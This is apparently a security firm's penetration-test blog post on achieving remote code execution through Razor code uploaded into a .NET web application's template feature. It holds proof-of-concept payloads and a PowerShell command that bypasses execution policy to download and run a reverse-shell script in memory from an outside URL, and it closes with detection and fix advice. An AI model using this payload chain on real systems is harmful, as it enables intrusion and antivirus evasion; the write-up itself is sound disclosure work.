Razor Code – Don't Cut Yourself

Razor Code

Don't Cut Yourself

Veit Hailperin
by Veit Hailperin
time to read: 8 minutes

Some of my favorite blog articles are also the shortest – just a single tip or bypass. This article is written with that in mind and describes how I recently managed to achieve remote code execution (RCE) on a patched Windows server using Razor Code.

Classic file upload vulnerability

It’s one of the classic weak spots, RCE through file upload – you upload code, such as a PHP script, and call up the site in the hope that it will execute the code on the server. However, this is more and more handled appropriately and the Content-Disposition header is increasingly set correctly to Content-Disposition: attachment; filename="foo.php". This means even if it would be client-side code, the code will not execute client-side either.

During a recent web application penetration test, I happened upon a case that was a little different. The application had the option of uploading files that could then be used as templates. The design idea behind it was that companies that used the site could still retain their own CD/CI. Naturally, the site supported HTML and JavaScript. The resulting Cross Site Scripting vulnerability was therefore neither a surprise nor a major risk, as each customer received their own sub-domain.

For my next move, I wanted to test whether server-side code could be executed. My immediate first choice was .NET, because no hardening had been carried out and all response headers pointed to .NET – X-Powered-By: ASP.NET, x-aspnetmvc-version and x-aspnet-version. I needed a simple PoC:

   PoCLabel.Text = “Alert!”;
<!DOCTYPE html>
<head runat=“server”>
   <form id=“form1” runat=“server”>
      <asp:Label runat=“server” id=“PoCLabel”></asp:Label>

But this attempt failed. A simple < was not filtered – since HTML had to be possible – but <@ was.

Razor code for the win

Razor code is an option for writing both C# and VB code using a different syntax. The important thing for us here is that we drop the introductory <@, which is filtered by the application. Here’s an example that also serves as proof of concept:


It worked. The site rendered in the template showed the current time of the server. No doubt about it – I had remote code execution. Other useful PoCs include:

@Decimal.Add(7, 7)

The reverse shell

In order to execute code more conveniently, I wanted a reverse shell. The standard Meterpreter payloads support ASP.NET, but not in Razor Code. Alternatively, PowerShell could be used to launch a reverse shell. A quick search for exec for asp.net turned up System.Diagnostics.Process.Start. This function enables commands to be executed in ASP.NET.

A few more thoughts on reverse shells:

  1. PowerShell executions can be limited. Seeing as it wasn’t clear whether or not PowerShell execution would be restricted, I wanted to be on the safe side and mitigate as many issues as possible before they could even arise. Fortunately, this limitation is easy to remove. The option of the ExecutionPolicy is conveniently named ByPass, and the official description says: “Nothing is blocked and there are no warnings or prompts.”
  2. Loading the complete reverse shell payload code into the template would have left conspicuous traces. Since the template is saved and the metasploit payload is known, there was also the danger that the AV system would recognize it as malware. To ensure that this wouldn’t happen, and since the application allowed templates to be integrated externally (user-friendliness), there was a better option. We host a PowerShell script containing Razor Code on a server under our control. The script gets loaded into RAM and is executed there. The benefit is that detection of our script is now even more unlikely. This is a technique also used by Matt Graeber, author of the PowerSploit tool. The script is our own modified variation of Invoke-Shellcode from the PowerSploit framework, with the associated ShellCode for a metasploit reverse shell. So the final command was:
@System.Diagnostics.Process.Start(“powershell.exe”,”-ExecutionPolicy Bypass -Command IEX (New-Object Net.WebClient).DownloadString(‘http://url/scip.ps1’)”)

The aftermath

The application was provided with a functioning quick fix on the same day as the report. The developers later replaced this with a better fix, as the quick fix broke the CSS.

Anyone trying to detect attacks, take note: this could have been detected by monitoring processes newly spawned by the server process. Alternatively, you can also Monitor PowerShell.

Another option would be PowerShell’s Antimalware Scan Interface (AMSI). Anti-virus software that supports AMSI can also check PowerShell scripts in RAM. Currently, however, AMSI is rarely seen in productive systems.

About the Author

Veit Hailperin

Veit Hailperin has been working in information security since 2010. His research focuses on network and application layer security and the protection of privacy. He presents his findings at conferences.


You want to test the strength of your enterprise regarding malware attacks?

Our experts will get in contact with you!

XML Injection

XML Injection

Andrea Hauser

Credential Tiering

Credential Tiering

Marius Elmiger



Ralph Meier



Michèle Trebo

You want more?

Further articles available here

You need support in such a project?

Our experts will get in contact with you!

You want more?

Further articles available here